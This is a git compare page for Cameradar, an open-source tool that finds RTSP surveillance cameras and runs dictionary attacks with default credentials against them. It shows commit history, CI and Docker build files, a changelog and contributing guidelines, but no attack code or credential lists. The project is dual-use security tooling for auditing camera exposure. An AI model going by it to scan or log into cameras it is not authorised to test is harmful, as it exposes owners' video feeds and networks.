Compare commits

...

134 Commits

Author SHA1 Message Date
Brendan LE GLAUNEC a8c1c8c63b Remove erroneous backquote from README 2018-11-12 07:41:23 +01:00
Brendan LE GLAUNEC 1ff17c429b #169 Parse target list from text file (#177)
* Add file parsing for targets & fix multi targets in docker

* Remove deprecated info in README & update examples
2018-11-12 07:40:31 +01:00
Brendan LE GLAUNEC 145724bc95 Add dep to dependencies 2018-10-17 08:44:59 +02:00
Ullaakut 5aefc9831d Add golang CI badge & redesign readme header 2018-10-02 08:45:25 +02:00
Ullaakut cf3ca440b9 Simplify condition checks to improve code readability 2018-10-01 19:52:15 +02:00
Brendan Le Glaunec 4109a4405d Add unit tests for stream validation 2018-07-22 17:34:48 +02:00
Brendan Le Glaunec 055dc69158 Add stream validation pt2 -- need to add unit tests 2018-07-22 17:34:48 +02:00
Brendan Le Glaunec 1ea9850842 Add stream validation -- need to add unit tests 2018-07-22 17:34:48 +02:00
Brendan Le Glaunec 6e92eecdf6 Fix import typo 2018-07-03 17:10:53 +02:00
Brendan Le Glaunec 844f1e31af Fix XML model addrtype attribute name 2018-07-03 17:10:53 +02:00
Brendan Le Glaunec fd83be9d95 Add unit test with ipv4 and MAC addr 2018-07-03 17:10:53 +02:00
Brendan Le Glaunec 456f7fffc5 No longer import hosts using their MAC addresses 2018-07-03 17:10:53 +02:00
Brendan Le Glaunec 541d64168d Remove docker push from CI script after realization it's insecure 2018-05-04 17:56:18 +02:00
Brendan Le Glaunec 26c4c80fd2 Add default credentials for dahua NVR (http://www.dahuatech.com/) 2018-05-04 17:56:18 +02:00
Brendan Le Glaunec bcc8099f91 Fix crash #174 by duplicating curl handle
Wrap libcurl to bypass lack of covariance support
2018-03-13 11:45:42 +01:00
Brendan Le Glaunec 6392dcd9a0 Update contributing guidelines & update CHANGELOG 2018-03-12 15:46:08 +01:00
Brendan Le Glaunec 916e1713d8 Update dependencies 2018-03-12 15:04:06 +01:00
Brendan Le Glaunec 08fcfcdac8 Remove responsibility for Attack methods to declare no attack success as an error 2018-03-12 15:04:06 +01:00
Brendan Le Glaunec 20daf73371 Migrate cameradar server to cameradar-app repo 2018-03-12 15:04:06 +01:00
Brendan Le Glaunec b909643c21 Remove all mentions of glide & add instructions to install dep 2018-03-12 15:04:06 +01:00
Brendan Le Glaunec 5a0ee4aaa7 Move repository to Ullaakut 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 8289f1edda Add coverage badge 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 74672f6625 Increase test coverage, mock libcurl & uniformize error messages 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC c1ea6b167c Fix misspelling and format using the -s option 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 71679691c4 Add example usage for testing purposes 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC cbf6f647aa Add Coveralls integration 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC fb9c5afc5f Switch from glide to dep & fix CI (#152) (#153) 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 5d2626b639 Change license to MIT 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 2399df693d Add examples in help message 2018-03-12 15:04:06 +01:00
Ishan Jain df44c7d6f1 Add environment variables support 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 6d296b84d5 Clean implementation of JSONRPC server 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 1dadb93452 Cameradar service scans & attacks over WS 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 6ea4f6e123 WIP JSONRPC2 implementation 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 5a8417cf18 Basic bidirectional WS server
- Fake temporary protocol (will probably be JSON RPC later)
- Service can write freely to client through server
- Any new component we need (workers, etc.) can access the channels to write to the client
2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 4e922a2a48 Start cameradar server to communicate with GUI 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 3ef48a97cf Fix CI for PRs originating from forks 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 35d629d8ce Nmap output is now correctly logged 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC dba1391a08 Fix dictionary path for binary & use glide in CI 2018-03-12 15:04:06 +01:00
Brendan LE GLAUNEC 961d34d05a Migrate GUI to another repository 2018-03-12 15:04:05 +01:00
Gael du Plessix 5d0c21c5d9 Setup travis email notifications for Brendy only 2018-03-12 15:04:05 +01:00
Gael du Plessix 71046216ce Add GUI dev environment (#114)
Setup dev tools to build GUI using ReasonML + Electron

Use react-scripts instead of custom build config

Add electron command

Rename command
2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 89647ae457 Fix timeout and unresponsive cameras being detected as successful & add error message
Update unit tests

Fix deadlock in libcurl for tests to stop failing randomly
2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 216d30fd45 Add issue template 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 82e36e1fd3 Update file architecture to make go install work 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 34994e615a Fix in README.md 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 6daceaeb2b Add glide package manager 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 50da5ea82d Fix usage of custom dictionaries in docker image 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC da7fb6cd49 Add more credentials to default dictionary 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC cfa90b36d8 Fix output when logs enabled 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 72fb21b132 Add multi stage docker build
Upgrade travis docker version
2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 948bfce5a0 Removed Output part from README 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 049a43ace2 Add gif to README.md 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC 1c845d2b3c Improve UX - Add spinner and messages
Improve UX - Add number of streams being attacked
2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC cb74761675 Add unit tests and functional test in CI
* Unit tests Discover 90%

The NmapRun function needs a refacto to make it use adaptors instead of directly calling exec.Command, exec.Command.StdoutPipe, exec.Command.Start, bufio.Scanner.Scan and bufio.Scanner.Err
It makes me uncomfortable to push a test file that covers only 90%, but it's better than none, and the 10 missing %s are not very error-prone so it should be okay to delay this part a bit. For now it's more urgent to test as much of the code as possible

* Unit tests Helpers 100%

* Unit tests Loaders 100% - Attack 85%

Once again, the Attack functions are not as simple as the rest to unit test, so I will refacto all of this to use a CURL adaptor later, but for now the total is of 88.6% of coverage, which is good enough for something I spent 2 hours on

* Add testing to CI validation process

* CI now does functional testing with RTSPATT

* Change travis language to bash
2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC be63c6a231 Add package overview & fix dead link 2018-03-12 15:04:05 +01:00
Brendan LE GLAUNEC eab18925c7 Add godoc badge and remove temporary images 2018-03-12 15:04:00 +01:00
Brendan LE GLAUNEC 4c9d23acb1 Improve comments & improve cameraccess speed 2018-03-12 15:00:02 +01:00
Brendan LE GLAUNEC ecdac00145 Move cameradar to root folder 2018-03-12 14:59:59 +01:00
Brendan LE GLAUNEC 2555a86f5f Add known bugs to README & update examples 2018-03-12 14:59:56 +01:00
Brendan LE GLAUNEC ebce965730 Remove debug logs from previous PR 2018-03-12 14:59:50 +01:00
Brendan LE GLAUNEC a2af1329d7 Fix bug for some cameras running gst rtsp server 2018-03-12 14:59:47 +01:00
Brendan LE GLAUNEC bf3a967fad Fix entrypoint ignoring parameters & fix default dictionary values 2018-03-12 14:59:44 +01:00
Brendan LE GLAUNEC 3dcc80a0e8 Fixes in readme and contributing.md (#77) (#79)
Remove codacy badge
2018-03-12 14:59:38 +01:00
Brendan LE GLAUNEC 624ff8bc1b Fixes in readme and contributing.md (#77) 2018-03-12 14:59:22 +01:00
Brendan LE GLAUNEC 59f51f6149 Cameradar becomes a golang library and cameraccess replaces the old cameradar (#75)
* Better performance
* Better UX
* Lighter docker image
* More control over the features
* Suited for devs
* Better documentation

* No tests yet
2018-03-12 14:59:16 +01:00
Brendan LE GLAUNEC b4090b8301 Improve README.md 2018-03-12 14:59:13 +01:00
Brendan LE GLAUNEC 02b58ad1a9 Rename bruteforce to dictionary attack to avoid confusion (#71) 2018-03-12 14:59:09 +01:00
Brendan LE GLAUNEC 81b7e893dc Rename subnet to target to avoid confusion (#70) 2018-03-12 14:59:06 +01:00
Brendan LE GLAUNEC 8c6c94cc34 Update README.md (#69)
Add more precision to the subnetwork (-s) argument to cameradar to improve user experience
2018-03-12 14:59:03 +01:00
Brendan LE GLAUNEC fac60679bc Rename CONTRIBUTION.md to CONTRIBUTING.md (#66) 2018-03-12 14:58:59 +01:00
Brendan LE GLAUNEC 55122d523c Add new RTSP routes (#67) 2018-03-12 14:58:56 +01:00
Brendan LE GLAUNEC 5825f14ef1 Fix golang style issues (#65)
In writeResult.go, two error strings began with an uppercase letter and ended with a dot.
See https://github.com/golang/go/wiki/Errors for more information
2018-03-12 14:58:53 +01:00
Brendan LE GLAUNEC 60c2f1f18c Update Codacy badge URL 2018-03-12 14:58:50 +01:00
Brendan LE GLAUNEC 44e3911e01 Usage of the develop branch unrestricted
I decided that putting a `2.0.0` branch in place would require too much work as it would mean maintaining two versions of Cameradar at the same time. Thus, we will just keep the normal workflow as we used to.
2018-03-12 14:58:47 +01:00
Brendan LE GLAUNEC 28f642d39f Fix automatic Docker Hub deployment
The previous travis script was only tagging latest and not the
tag of the branch, which resulted in outdated tags on the DockerHub
2018-03-12 14:58:43 +01:00
Brendan LE GLAUNEC 4dfe99064b Release 1.1.4 2018-03-12 14:58:40 +01:00
Brendan LE GLAUNEC 097cbe3df3 Rename MySQL table & Update CONTRIBUTION.md for 2.0.0 2018-03-12 14:58:37 +01:00
Brendan LE GLAUNEC 3123e34076 Improve docker image usage 2018-03-12 14:58:33 +01:00
Brendan LE GLAUNEC c334ea9f91 Fix critical functional test bug 2018-03-12 14:58:29 +01:00
Brendan LE GLAUNEC bfecea00ad Add contribution doc & update readme & dictionaries 2018-03-12 14:58:26 +01:00
Brendan LE GLAUNEC 1c7c462771 Add code quality check & fixed output format 2018-03-12 14:58:23 +01:00
Brendan LE GLAUNEC 308ba24e90 Improve output & remove legacy code 2018-03-12 14:58:16 +01:00
Brendan LE GLAUNEC 4a8f6550af Put Gitflow back in place 2018-03-12 14:58:13 +01:00
Brendan LE GLAUNEC c56cce6319 Update contribution format guidelines 2018-03-12 14:58:10 +01:00
Brendan LE GLAUNEC 832e4f9fa2 Update contribution info 2018-03-12 14:58:06 +01:00
Brendan LE GLAUNEC 63008d19af Enhanced the latest release badge
Replaced the raw version with one that will get the latest tag automatically and update the badge.
2018-03-12 14:58:03 +01:00
Brendan LE GLAUNEC fbd78301a0 Travis functional testing & minor changes 2018-03-12 14:57:59 +01:00
Brendan LE GLAUNEC 2961d68200 Travis build test integration & changes to docker deployment 2018-03-12 14:57:55 +01:00
Brendan LE GLAUNEC f86683d9ca Add docker pulls badge to README.md 2018-03-12 14:57:52 +01:00
Brendan LE GLAUNEC 58bcfb9ee5 Fix functional tests & multiple bugfixes & use CES 2018-03-12 14:57:49 +01:00
Brendan LE GLAUNEC 5be5124e70 Remove unnecessary null pointer checks 2018-03-12 14:57:46 +01:00
Brendan LE GLAUNEC b8291710d9 Docker Hub instructions update 2018-03-12 14:57:42 +01:00
Brendan LE GLAUNEC b51a8da125 Deployment update & Docker Hub integration 2018-03-12 14:57:39 +01:00
Brendan LE GLAUNEC 2a0882869b Update deployment process 2018-03-12 14:57:36 +01:00
Brendan LE GLAUNEC c3d690371b Update package 2018-03-12 14:57:34 +01:00
Brendan LE GLAUNEC 30c099f872 Fix multithreading & add timeout to ffmpeg 2018-03-12 14:57:31 +01:00
Brendan LE GLAUNEC c660c1a676 Update package 2018-03-12 14:57:28 +01:00
Brendan LE GLAUNEC c44a88b57a Add GST RTSP SERVER option 2018-03-12 14:57:25 +01:00
Brendan LE GLAUNEC 509017f8df Add package generation to README 2018-03-12 14:57:22 +01:00
Brendan LE GLAUNEC 7243059cdb Update package name & add packge generation script 2018-03-12 14:57:19 +01:00
Brendan LE GLAUNEC cd3cfc3837 Update Readme & Remove debug logs 2018-03-12 14:57:16 +01:00
Brendan LE GLAUNEC 509d68f023 Multithreading & UX update 2018-03-12 14:57:13 +01:00
Brendan LE GLAUNEC de757e848d Add Cameradar logo to README.md 2018-03-12 14:57:10 +01:00
Brendan LE GLAUNEC 1fb462bab4 Add Cameradar logo 2018-03-12 14:57:07 +01:00
Brendan LE GLAUNEC 4c4312f9b5 Add standard Comelit RTSP URL to dictionary 2018-03-12 14:56:59 +01:00
Brendan LE GLAUNEC ff684d7544 Update testing binary 2018-03-12 14:56:54 +01:00
Brendan LE GLAUNEC b69b4dc98c Create CHANGELOG.md 2018-03-12 14:56:51 +01:00
Brendan LE GLAUNEC 34351ae14e Fix potential failure in MySQL CM and fix describe method 2018-03-12 14:56:48 +01:00
Brendan LE GLAUNEC d9945f5e26 Fix nmap package detection 2018-03-12 14:56:45 +01:00
Brendan LE GLAUNEC 6247656a63 Improve README.md 2018-03-12 14:56:41 +01:00
Brendan LE GLAUNEC c46217918f Fix GStreamer check 2018-03-12 14:56:38 +01:00
Brendan LE GLAUNEC 330e4a1e85 Remove forgotten logs 2018-03-12 14:56:35 +01:00
Brendan LE GLAUNEC bded05688e Fix issues with MySQL CM 2018-03-12 14:56:32 +01:00
Brendan LE GLAUNEC 13e1836604 Update OS to 16.04 & remove boost dependency 2018-03-12 14:56:28 +01:00
Brendan LE GLAUNEC d611d00b55 Update deployment version 2018-03-12 14:56:24 +01:00
Brendan LE GLAUNEC e4a2e06def Add functionnal testing 2018-03-12 14:56:16 +01:00
Brendan LE GLAUNEC df3c21701d Improve README.md 2018-03-12 14:56:13 +01:00
Brendan LE GLAUNEC 85c816c8cb Fix issue with MySQL & deployment 2018-03-12 14:56:09 +01:00
Brendan LE GLAUNEC 4633d3f520 Improve CMakeLists.txt 2018-03-12 14:56:06 +01:00
Brendan LE GLAUNEC 60288c09e4 Improve README.md 2018-03-12 14:56:03 +01:00
Brendan LE GLAUNEC 49bc3820aa Cameradar now supports badly configured cameras 2018-03-12 14:56:00 +01:00
Brendan LE GLAUNEC eed8aa0e9d Improve README.md 2018-03-12 14:55:57 +01:00
Brendan LE GLAUNEC e13879ab77 Add quick MySQL docker deployment & code cleaning 2018-03-12 14:55:53 +01:00
Brendan LE GLAUNEC 8a8e4faa42 Add MySQL Cache Manager & code cleanup 2018-03-12 14:55:48 +01:00
Brendan LE GLAUNEC faa2570883 Deployment / CPack / Docker / Boost / Versionning 2018-03-12 14:55:45 +01:00
Brendan LE GLAUNEC 5c0ee0c5a0 Fix jsoncpp download issue 2018-03-12 14:55:42 +01:00
Brendan LE GLAUNEC 780a32d706 Improve README.md 2018-03-12 14:55:38 +01:00
Brendan LE GLAUNEC 29f05e0b70 Improve README.md 2018-03-12 14:55:35 +01:00
Brendan LE GLAUNEC 0144b569ad Update cloning method to HTTPS 2018-03-12 14:55:32 +01:00
Brendan LE GLAUNEC dd2747d12a Add Deployment / CPack / Docker / Boost / Versionning 2018-03-12 14:55:28 +01:00
Brendan LE GLAUNEC 5ef63cd7e6 Update README to add future improvement 2018-03-12 14:55:25 +01:00
Brendan LE GLAUNEC ac6002028d Improve jsoncpp integration 2018-03-12 14:55:21 +01:00
Brendan LE GLAUNEC 5f80f1b76a Add dependencies & improve readme 2018-03-12 14:55:15 +01:00
Brendan LE GLAUNEC 95276760be Initial commit 2018-03-12 14:55:10 +01:00
30 changed files with 4037 additions and 225 deletions
+8 -26
View File
@@ -1,28 +1,10 @@
# Compiled Object files
*.slo
*.lo
*.o
*.obj
# IDE config
.idea/
.vscode/
# Precompiled Headers
*.gch
*.pch
# Deps
/vendor
# Compiled Dynamic libraries
*.so
*.dylib
*.dll
# Fortran module files
*.mod
# Compiled Static libraries
*.lai
*.la
*.a
*.lib
# Executables
*.exe
*.out
*.app
# Golang
/bin/*
/pkg/*
+59
View File
@@ -0,0 +1,59 @@
dist: trusty
sudo: required
language: go
env:
- DEP_VERSION="0.4.1"
services:
- docker
before_install:
- echo "Testing Docker Hub credentials"
- if [[ "$DOCKER_PASSOWRD" != "" ]]; then docker login -u=$DOCKER_USERNAME -p=$DOCKER_PASSWORD; fi
- echo "Docker Hub credentials are working"
# If I see one day that Travis CI updates their default docker version
# I can remove the lines below. That's why I leave this here :-)
- docker version
- sudo apt-get remove docker docker-engine docker.io
- curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
- sudo apt-get update
- sudo apt-get install -y docker-ce
- go get github.com/mattn/goveralls
- go get github.com/andelf/go-curl
- go get github.com/pkg/errors
- go get gopkg.in/go-playground/validator.v9
- go get github.com/stretchr/testify/assert
- docker version
- curl -L -s https://github.com/golang/dep/releases/download/v${DEP_VERSION}/dep-linux-amd64 -o $GOPATH/bin/dep
- chmod +x $GOPATH/bin/dep
install:
- dep ensure
- docker build -t cameradar .
script:
# Run unit tests
- go test -v -covermode=count -coverprofile=coverage.out
- $HOME/gopath/bin/goveralls -coverprofile=coverage.out -service=travis-ci -repotoken $COVERALLS_TOKEN
# Launch a fake camera to check if cameradar is able to access it
- docker run -d --name=fake_camera -e RTSP_USERNAME=admin -e RTSP_PASSWORD=12345 -p 8554:8554 ullaakut/rtspatt
# Launch cameradar on the local machine
- docker run --net=host -t cameradar -t 0.0.0.0 -l > logs.txt
- docker logs fake_camera > camera_logs.txt
# Stop the fake camera
- docker stop fake_camera
# Print logs
- cat camera_logs.txt
- cat logs.txt
# check if file contains more than one line
# 1 line: Error message because no streams were found
# More lines: Logs for all found cameras
- if [[ $(wc -l <logs.txt) -lt 2 ]]; then exit 1; fi
notifications:
email:
recipients:
- brendan.le-glaunec@epitech.eu
on_success: never
on_failure: always
+222
View File
@@ -0,0 +1,222 @@
# Cameradar Changelog
This file lists all versions of the repository and precises all changes.
## v2.0.0
#### Major changes:
* Cameradar is no longer a C++ application but a Golang library
* It is also a Golang application replacing the former C++ one (the C++ Cameradar image can still be used with the tag `1.1.4`)
* The new docker image is twice lighter (14MB vs 379MB before)
* The Cameradar golang library enables users to build their own application around camera discovery and attack. Example of applications could be an automatic camera discovery daemon with scheduled scans, a security audit tool to check if CCTV cameras are protected from attacks by being isolated and having strong passwords, etc.
## v1.1.4
#### Minor changes:
* Simplified use of Docker image
* Renamed MySQL table name to be more explicit
* Refactoring of the Golang functional tester done
* The output was made more human readable
* Added automatic code quality checks for pull requests
* Added contribution documentation
* Updated dictionaries to add user suggestions for Chinese cameras
* Enhanced `result.json` file's format
#### Bugfixes:
* Fixed a bug in the functional testing in which if the `result.json` file was not formatted correctly, the test failed but was still considered a success.
## v1.1.3
#### Minor changes:
* Added automatic pushes to DockerHub to the travis integration
* Made travis configuration file better
* Changed the package generation scripts to make them report errors
* Removed old etix_rtsp_server binary from the test folder
#### Bugfixes:
* Fixed an issue that made it mandatory to launch tests at least once so that they can work the second time
* Fixed an issue that made the golang testing tool not compile in the testing script
* Fixed an issue that made the golang testing tool sometimes ignore some tests
* The previous known issue has been investigated and we don't know where it came from. However after a night of testing I have been unable to reproduce it, so I will consider it closed
## v1.1.2
#### Minor changes:
* Added travis integration
* Added default environment value for Docker deployment
* Updated docker image description with new easy usage
* Updated README badges style (replaced flat with square-flat)
* Build last package can now also generate a debug package if given the `Debug` command-line argument
#### Known issues
* There is still the issue with Camera Emulation Server, see the [previous version's patchnote](#v1.1.1) for more information.
## v1.1.1
#### Minor changes:
* Removed unnecessary null pointer checks (thanks to https://github.com/elfring)
* Updated package description
* Removed debug message in CMake build
* Added `/ch01.264` to the URL dictionary in the deployment (Comelit default RTSP URL)
* Updated tests partially (still needs work to make the code cleaner)
* Variable names are now compliant with Golang best practices
* JSON variable names are back to normal
* Functions have been moved in more appropriate source files
* Structure definitions have been moved in more appropriate source files
* Source files have been renamed to be more relevant
* JUnit output now considers each camera as a test case
* JUnit output now contains errors which makes debugging much easier
* Added header files where it was forgotten
#### Bugfixes:
* Fixed an issue where if you loose your internet connection during thumbnail generation, FFMpeg would get stuck forever and thus Cameradar would never finish
* Fixed an issue where multithreading could cause crashes
* Fixed an issue where the routes dictionary was mistaken for the credentials dictionary
* Fixed issues with the golang testing tool
* Fixed automated camera generation
* Fixed docker IP address resolution
#### Known issues:
* There is an issue with Camera Emulation Server that makes it impossible for Cameradar to generate thumbnails, which is why right now the verification of the thumbnails presence is commented and it is assumed correct. It is probably an issue with GST-RTSP-Server but requires investigation.
## v1.1.0
#### Major changes:
* There are more command line options
* Port can now be overridden in the command line
* Target can now be overridden in the command line
* Bruteforce is now multithreaded and will use as many threads as there are discovered cameras
* Thumbnail generation is now multithreaded and will use as many threads as there are discovered cameras
* There are now default configuration values in order to make cameradar easier to use
#### Minor changes:
* The algorithms take external input into account (so that a 3rd party can change the DB to help Cameradar in real-time) and thus check the persistent data at each iteration
* The default log level is now DEBUG instead of INFO
* The attack logs are now INFO instead of DEBUG
* The thumbnail generation logs are now INFO instead of DEBUG
#### Bugs fixed
* Fixed a bug in which the MySQL cache manager would consider a camera with known ids as having a valid path even if it weren't
* Fixed a bug in which TCP RTSP streams would not generate thumbnails
## v1.0.5
* Fixed error in MySQL Cache Manager in which thumbnail generation on valid streams could not be done
* Fixed potential crash in the case the machine running cameradar has no memory left to allocate space for the dynamic cache manager
## v1.0.4
#### Bugs fixed:
* Fixed nmap package detection
## v1.0.3
#### Bugs fixed:
* Corrected GStreamer check
## v1.0.2
#### Bugs fixed:
* Fixed issues in MySQL Cache Manager
#### Minor changes:
* Added useful debug logs
## v1.0.1
### Ubuntu 16.04 Release
#### Major changes:
* The Docker deployment is now done using Ubuntu 16.04 instead of Ubuntu 15.10, so that it uses more recent packages.
#### Minor changes:
* Removed useless dependencies
## v1.0.0
### First production-ready release
#### Major changes:
* Added functional testing
## v0.2.2
After doing some testing on a weirdly configured camera network in a far away Datacenter, I discovered that some Cameras needed a few tweaks to the Cameradar attack method in order to be accessed.
#### Major changes:
* Cameradar can access Cameras that are configured to always send 400 Bad Requests responses
#### Minor changes:
* Changed iterator name from `it` to `stream` in dumb cache manager to improve code readability
#### Bugfixes:
* Cameradar no longer considers a timing out Camera as an accessible stream
## v0.2.1
This package adds fixes the Docker deployment package.
#### Minor changes
* Fixed the Docker deployment package
* Updated README
## v0.2.0
### MySQL Cache Manager Release
This package adds a new cache manager using a MySQL database, that can store the results between mutiple uses.
#### Major changes
* Added a MySQL Cache Manager
#### Minor changes
* Removed legacy code
* Removed boost dependency
* Improved debugging logs
## v0.1.1
### Docker release
This package adds a way to deploy Cameradar using Docker.
#### Major changes
* Added a quick Docker deployment process
* Added automatic dependencies downloading through CMake for the manual installation
* Added CPack packaging for the Docker deployment
#### Minor changes
* Changed recommended cloning method to HTTPS
* Added lots of informations to README.md
## v0.1.0
This package was the first OpenSource version of Cameradar. It contained only a simple cache manager and had some bugs.
+82
View File
@@ -0,0 +1,82 @@
# Cameradar Contribution
This file will give you guidelines on how to contribute if you want to, and will list known contributors to this repo.
If you're not into software development or not into Golang, you can still help. Updating the dictionaries for example, would be a really cool contribution! Just make sure the credentials and routes you add are **default constructor credentials** and not custom credentials.
If you have other cool ideas, feel free to share them with me at [brendan.leglaunec@etixgroup.com](mailto:brendan.leglaunec@etixgroup.com) or to directly [create an issue](https://github.com/Ullaakut/cameradar/issues)!
## Version 2.0.0
*Cameradar* is the name of the Golang library and the binary that serves as an example of its use, as well as the docker image that runs the binary.
The 2.0.0 version was a complete refactorring of the Cameradar C++ tool, which came from the fact that most users who want to access cameras either wanted to launch it with the basic cache manager, mostly using the docker image already provided in this repository, or did not use it because it did not integrate into their software solution easily.
Transforming it into a library allowed developers to use it directly in their own code exactly as they want, allowing for a greater flexibility. The Cameradar binary also provides a simple use example as well as maintains the old simple way of using Cameradar for non-developers.
## Workflow
### Branches & issues
If you want to work on an issue, make sure you create a specific branch for this issue using the format `issue_number-solution_explanation`. Examples are:
If issue `#64` is `Improve network scan performance`, the branch to fix it should be something like: `64-improve-network-scan-performance`. Note that it should always start with a verb conjugated in the infinitive form, and describe what the commits's effects will be on the codebase. One branch should only be for one change. If your branch fixes multiple things, you're doing it wrong.
Always make sure you're not working on the same issue as someone else, by asking on the issue thread to be assigned to it.
### Commit names
The name of the commits should always be #[issue number] [effect of the issue] (ex: `#343 Improve test coverage`).
When working on your local branch, you can do as many commits as you want, obviously. The most important is that you squash your commits before creating your pull request, or at least before it is merged.
In case you're not familiar with squashing, here is a simple way to do it :
- `git fetch origin` will make sure that you have a local version of the origin repository that is up to date (will not overwrite anything on your branch, no worries)
- `git rebase -i origin/master` will start the process of rebasing your branch
- This will open a file letting you decide what to do with the commits. You want to keep the first `pick` and write `s` or `squash` instead of `pick` for all other commits below.
- If there are conflicts, you will fix them step by step by following what git tells you, it's pretty straight-forward.
- If there are no conflicts or if they are resolved, git will let you edit the commit names. Don't forget to comment the commit names of the commits you squashed if they are not relevant by adding a # character in front of the commit message, and make sure that the commit message you left follows the aforementioned guidelines.
- Now run `git log`, you should see only one commit by the name you chose during the rebase.
- You can now `git push -f` if you already pused your branch on origin or simply push without the `-f` if it's your first push on origin. The reason for the `-f` is that when you squash your commits, you create a new one that will conflict with the state of your branch on origin. If you pull, it will overwrite your local state, so don't do that except if you messed up your rebase.
### Pull Requests
When your pull request is created, GitHub will first check for conflicts, Codacy will check the shell and C++ code's quality and then Travis CI will try to build and launch functional tests of your versions of Cameradar.
If GitHub reports conflicts with the develop branch, you should resolve them by yourself using your git command-line interface. The easiest and cleanest way is to use `git rebase -i origin/develop` and follow git's instructions.
If Codacy reports new issues, they will be added in the comments of the PR to let you know what you should fix.
If Travis CI reports errors, you should be able to view the logs [by clicking here](https://travis-ci.org/Ullaakut/cameradar/builds) and you should fix it. No PR will be merged before all tests are passing correctly.
When creating your pull request, our hooks will make sure that your code:
- Builds
- Has 100% passing unit tests
- Can actually access a camera using a functional test
- Still has equivalent or higher test coverage (using coveralls)
Make sure to write in the PR description what issue it fixes. GitHub will intepret it and automatically close the issue once your pull request is closed. Just write Fixes #IssueNumber in the description.
When your pull request is created, GitHub will first check for conflicts and then your code will be reviewed by the maintainers of this repository.
If GitHub reports conflicts with the `master` branch, you should resolve them by yourself using your git command-line interface. The easiest and cleanest way is to use `git rebase -i origin/master` and follow git's instructions. If we report issues with your code, you should resolve them and then ping the person that reported them to notify them that you did the requested changes.
Once everything is in order, we will merge your pull request.
### Coding guidelines
Your code should just
- Not decrease the results of Cameradar on https://goreportcard.com/report/github.com/Ullaakut/cameradar
- Pass the code review
#### Golang
- All Golang code has to be formated using `gofmt` or `goreturns`.
- Make sure you follow the Golang [best practices](https://golang.org/doc/effective_go.html)
## Contributors
- **Brendan Le Glaunec** - [@Ullaakut](https://github.com/Ullaakut) - brendan.leglaunec@etixgroup.com : *Original developer & Maintainer*
- **Jeremy Letang** - [@jeremyletang](https://github.com/jeremyletang) - letang.jeremy@gmail.com : *Idea of the project & Mentorship*
- **ishanjain28** - [@ishanjain28](https://github.com/ishanjain28) - ishanjain28@gmail.com : *Implemented the environment variables support*
+30
View File
@@ -0,0 +1,30 @@
# Build stage
FROM golang:alpine AS build-env
COPY . /go/src/github.com/Ullaakut/cameradar
WORKDIR /go/src/github.com/Ullaakut/cameradar/cameradar
RUN apk update && \
apk upgrade && \
apk add nmap nmap-nselibs nmap-scripts \
curl curl-dev \
gcc \
libc-dev \
git \
pkgconfig
ENV DEP_VERSION="0.4.1"
RUN curl -L -s https://github.com/golang/dep/releases/download/v${DEP_VERSION}/dep-linux-amd64 -o $GOPATH/bin/dep
RUN chmod +x $GOPATH/bin/dep
RUN dep ensure
RUN go build -o cameradar
# Final stage
FROM alpine
RUN apk --update add --no-cache nmap nmap-nselibs nmap-scripts \
curl-dev
WORKDIR /app/cameradar
COPY --from=build-env /go/src/github.com/Ullaakut/cameradar/dictionaries/ /app/dictionaries/
COPY --from=build-env /go/src/github.com/Ullaakut/cameradar/cameradar/ /app/cameradar/
ENTRYPOINT ["/app/cameradar/cameradar", "-r", "/app/dictionaries/routes", "-c", "/app/dictionaries/credentials.json"]
Generated
+213
View File
@@ -0,0 +1,213 @@
# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
[[projects]]
branch = "master"
name = "github.com/andelf/go-curl"
packages = ["."]
revision = "f8b334df3789fbdf98df3b3b22815e958b956c19"
[[projects]]
name = "github.com/davecgh/go-spew"
packages = ["spew"]
revision = "346938d642f2ec3594ed81d874461961cd0faa76"
version = "v1.1.0"
[[projects]]
name = "github.com/fatih/color"
packages = ["."]
revision = "570b54cabe6b8eb0bc2dfce68d964677d63b5260"
version = "v1.5.0"
[[projects]]
name = "github.com/fsnotify/fsnotify"
packages = ["."]
revision = "c2828203cd70a50dcccfb2761f8b1f8ceef9a8e9"
version = "v1.4.7"
[[projects]]
branch = "master"
name = "github.com/gernest/wow"
packages = [
".",
"spin"
]
revision = "7e0b2a2398989a5d220eebac5742d45422ba7de8"
[[projects]]
name = "github.com/go-playground/locales"
packages = [
".",
"currency"
]
revision = "e4cbcb5d0652150d40ad0646651076b6bd2be4f6"
version = "v0.11.2"
[[projects]]
name = "github.com/go-playground/universal-translator"
packages = ["."]
revision = "b32fa301c9fe55953584134cb6853a13c87ec0a1"
version = "v0.16.0"
[[projects]]
branch = "master"
name = "github.com/hashicorp/hcl"
packages = [
".",
"hcl/ast",
"hcl/parser",
"hcl/scanner",
"hcl/strconv",
"hcl/token",
"json/parser",
"json/scanner",
"json/token"
]
revision = "23c074d0eceb2b8a5bfdbb271ab780cde70f05a8"
[[projects]]
